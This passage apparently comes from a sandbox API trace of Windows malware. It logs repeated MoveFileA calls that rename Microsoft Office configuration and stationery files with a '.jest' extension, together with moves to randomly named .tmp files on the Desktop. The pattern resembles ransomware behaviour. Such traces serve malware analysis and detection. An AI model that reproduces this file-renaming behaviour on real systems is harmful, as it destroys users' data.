DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.893] GetLastError () returned 0x0 [0162.893] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.jest")) returned 1 [0162.903] GetLastError () returned 0x0 [0162.904] VarBstrFromR4 (in: fltIn=0x47945649, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.57") returned 0x0 [0162.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I TeSOZix4suFqQL-rU7eU6FFFepH-3ufG85cKGJr1RgZH59 tjYCSADBroZzZ-KrYtDbcAurRl hUCc_Y-DE_uotv1mRFISf9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i tesozix4sufqql-ru7eu6fffeph-3ufg85ckgjr1rgzh59 tjycsadbrozzz-krytdbcaurrl hucc_y-de_uotv1mrfisf9.tmp")) returned 0 [0162.905] GetLastError () returned 0x2 [0162.906] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.906] GetLastError () returned 0x0 [0162.906] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.jest")) returned 1 [0162.909] GetLastError () returned 0x0 [0162.910] VarBstrFromR4 (in: fltIn=0x47945649, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.57") returned 0x0 [0162.911] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uqIzTKL0U1FQwfYuxuCL4 aEYFwTu N9JhRhzSavSYQF6fE2p qPxy9cUWw4lCpwXJVFz-TmZ1OqE4MzBzfasRA4Evmmpn4RSeZR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uqiztkl0u1fqwfyuxucl4 aeyfwtu n9jhrhzsavsyqf6fe2p qpxy9cuww4lcpwxjvfz-tmz1oqe4mzbzfasra4evmmpn4rsezr.tmp")) returned 0 [0162.911] GetLastError () returned 0x2 [0162.912] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.912] GetLastError () returned 0x0 [0162.912] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.jest")) returned 1 [0162.914] GetLastError () returned 0x0 [0162.914] VarBstrFromR4 (in: fltIn=0x47945649, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.57") returned 0x0 [0162.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwcrucjCwgSBNEXSqcQCJWVIWMeSBExAPScSEZBw-jHeIuR20b9RJsgHw1j7D16wEStiN_gv6psWbGEFvVt9LYUZ_7KF_PwxF8Rbw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwcrucjcwgsbnexsqcqcjwviwmesbexapscsezbw-jheiur20b9rjsghw1j7d16westin_gv6pswbgefvvt9lyuz_7kf_pwxf8rbw.tmp")) returned 0 [0162.915] GetLastError () returned 0x2 [0162.918] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.918] GetLastError () returned 0x0 [0162.918] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.919] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.jest")) returned 1 [0162.920] GetLastError () returned 0x0 [0162.921] VarBstrFromR4 (in: fltIn=0x4794564b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.59") returned 0x0 [0162.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n6bWph39qQXbRDK7YR8h2 KgIv0PdH xilco-OFBkIV43DtDvHY0GyQ_nvoqz-UgvIGCo Beh6EkSbL-J7r -99kl69dX91I0HcIq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n6bwph39qqxbrdk7yr8h2 kgiv0pdh xilco-ofbkiv43dtdvhy0gyq_nvoqz-ugvigco beh6eksbl-j7r -99kl69dx91i0hciq.tmp")) returned 0 [0162.922] GetLastError () returned 0x2 [0162.922] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.922] GetLastError () returned 0x0 [0162.922] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm.jest")) returned 1 [0162.924] GetLastError () returned 0x0 [0162.925] VarBstrFromR4 (in: fltIn=0x4794564b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.59") returned 0x0 [0162.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7d8x-SKK5mTbZylj1 nIQ1DZzAZ37-XdTrOe4253zQfi-GM4ng pVo-6wEOS5KU oooiJRHFkbfGlke _7G VK9x65EZJlUh7_jqN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7d8x-skk5mtbzylj1 niq1dzzaz37-xdtroe4253zqfi-gm4ng pvo-6weos5ku oooijrhfkbfglke _7g vk9x65ezjluh7_jqn.tmp")) returned 0 [0162.926] GetLastError () returned 0x2 [0162.926] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.926] GetLastError () returned 0x0 [0162.926] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.927] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm.jest")) returned 1 [0162.928] GetLastError () returned 0x0 [0162.929] VarBstrFromR4 (in: fltIn=0x4794564b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.59") returned 0x0 [0162.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yeOqLcDURs3Dg04Ved1d59BXt53YyfHr6DJEy350J9UVntizcTvGIJbPgCqW_KMWwV5SV9E5yq6A mRuM5C1Hx0LmD qLMXKIXMVq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yeoqlcdurs3dg04ved1d59bxt53yyfhr6djey350j9uvntizctvgijbpgcqw_kmwwv5sv9e5yq6a mrum5c1hx0lmd qlmxkixmvq.tmp")) returned 0 [0162.930] GetLastError () returned 0x2 [0162.930] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.930] GetLastError () returned 0x0 [0162.930] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.931] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.jest" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg.jest")) returned 1 [0162.932] GetLastError () returned 0x0 [0162.932] VarBstrFromR4 (in: fltIn=0x4794564b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.59") returned 0x0 [0162.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\db4z2fR-KY7e-L2TjAkmUDVB8rBb8PzwgCJWiIPckZYvb3RjuvNQrilSPUWoPBlBodzeTXWAsO2u05Y6szzm7o9PjS6AFsmjZIcPH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\db4z2fr-ky7e-l2tjakmudvb8rbb8pzwgcjwiipckzyvb3rjuvnqrilspuwopblbodzetxwaso2u05y6szzm7o9pjs6afsmjzicph.tmp")) returned 0 [0162.934] GetLastError () returned 0x2 [0162.934] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.934] GetLastError () returned 0x0 [0162.934] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.935] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.jest")) returned 1 [0162.936] GetLastError () returned 0x0 [0162.936] VarBstrFromR4 (in: fltIn=0x4794564d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.6") returned 0x0 [0162.937] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c7JQNVi6jhyjzDaO5JKbConWb28cy4SsDc_x0o27wVyE-dDOBh4MGE6KvPXH6GhdMvC-QWbIUQSYFf-I1exgN2GJ-dqZ9Q t0grWf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c7jqnvi6jhyjzdao5jkbconwb28cy4ssdc_x0o27wvye-ddobh4mge6kvpxh6ghdmvc-qwbiuqsyff-i1exgn2gj-dqz9q t0grwf.tmp")) returned 0 [0162.938] GetLastError () returned 0x2 [0162.938] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.938] GetLastError () returned 0x0 [0162.938] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.939] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.jest")) returned 1 [0162.941] GetLastError () returned 0x0 [0162.941] VarBstrFromR4 (in: fltIn=0x4794564d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.6") returned 0x0 [0162.942] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7qtOS6U_P9 j4DwtGol2FTI8iIjWlefvLutc1KfHwl3Ex -iOEW5K83Miu3MKfbSqgUOEWpBVnyYZj OjRjyF2G5X1AkcdEXYO1nR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7qtos6u_p9 j4dwtgol2fti8iijwlefvlutc1kfhwl3ex -ioew5k83miu3mkfbsqguoewpbvnyyzj ojrjyf2g5x1akcdexyo1nr.tmp")) returned 0 [0162.943] GetLastError () returned 0x2 [0162.943] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.943] GetLastError () returned 0x0 [0162.943] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.944] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.jest")) returned 1 [0162.945] GetLastError () returned 0x0 [0162.946] VarBstrFromR4 (in: fltIn=0x4794564d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.6") returned 0x0 [0162.947] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M2pLkXWFyXrVZG4n3fW1xv8cwzJRyjuUwHgyY-0zsVTXtaRwdMz7w0TMamBm_H093bQxbYiMt6gHkG-cX2fsDk3ms733AJwRmAfz8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m2plkxwfyxrvzg4n3fw1xv8cwzjryjuuwhgyy-0zsvtxtarwdmz7w0tmambm_h093bqxbyimt6ghkg-cx2fsdk3ms733ajwrmafz8.tmp")) returned 0 [0162.947] GetLastError () returned 0x2 [0162.948] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.948] GetLastError () returned 0x0 [0162.948] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.jest")) returned 1 [0162.950] GetLastError () returned 0x0 [0162.950] VarBstrFromR4 (in: fltIn=0x4794564d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.6") returned 0x0 [0162.951] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8E2Z 1yiYBjZmWVhrvdMABdj_zg6KDvbTlPIkIkgxHi1puOyyxebQQBA4XgT27NeJC3t3Brrx5d-K0LRk eetvksbuLsEZtEGEvij.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8e2z 1yiybjzmwvhrvdmabdj_zg6kdvbtlpikikgxhi1puoyyxebqqba4xgt27nejc3t3brrx5d-k0lrk eetvksbulseztegevij.tmp")) returned 0 [0162.951] GetLastError () returned 0x2 [0162.951] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.952] GetLastError () returned 0x0 [0162.952] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.jest")) returned 1 [0162.953] GetLastError () returned 0x0 [0162.954] VarBstrFromR4 (in: fltIn=0x4794564f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.62") returned 0x0 [0162.955] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w9mGOJq-l4SfzdiLZyp6OC1eT1Fq6WityLjlEeRtvVgph0ulTkP0Z66ZpfiI9XnrVkexBXRHIwzsds-ouql40PbgPNC7 _vviim9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w9mgojq-l4sfzdilzyp6oc1et1fq6wityljleertvvgph0ultkp0z66zpfii9xnrvkexbxrhiwzsds-ouql40pbgpnc7 _vviim9.tmp")) returned 0 [0162.955] GetLastError () returned 0x2 [0162.955] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.955] GetLastError () returned 0x0 [0162.955] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.jest")) returned 1 [0162.957] GetLastError () returned 0x0 [0162.957] VarBstrFromR4 (in: fltIn=0x4794564f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.62") returned 0x0 [0162.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QepulZcbTvtR0 tJWjUsGvU6GZhAimyNEHs6CQ4RYtwwbKwS_9QTDV5BYtNkVOCJvruHomE391fg815AM5Xd9zVKpN8TM4QVMvMem.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qepulzcbtvtr0 tjwjusgvu6gzhaimynehs6cq4rytwwbkws_9qtdv5bytnkvocjvruhome391fg815am5xd9zvkpn8tm4qvmvmem.tmp")) returned 0 [0162.959] GetLastError () returned 0x2 [0162.959] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.959] GetLastError () returned 0x0 [0162.959] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.960] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), 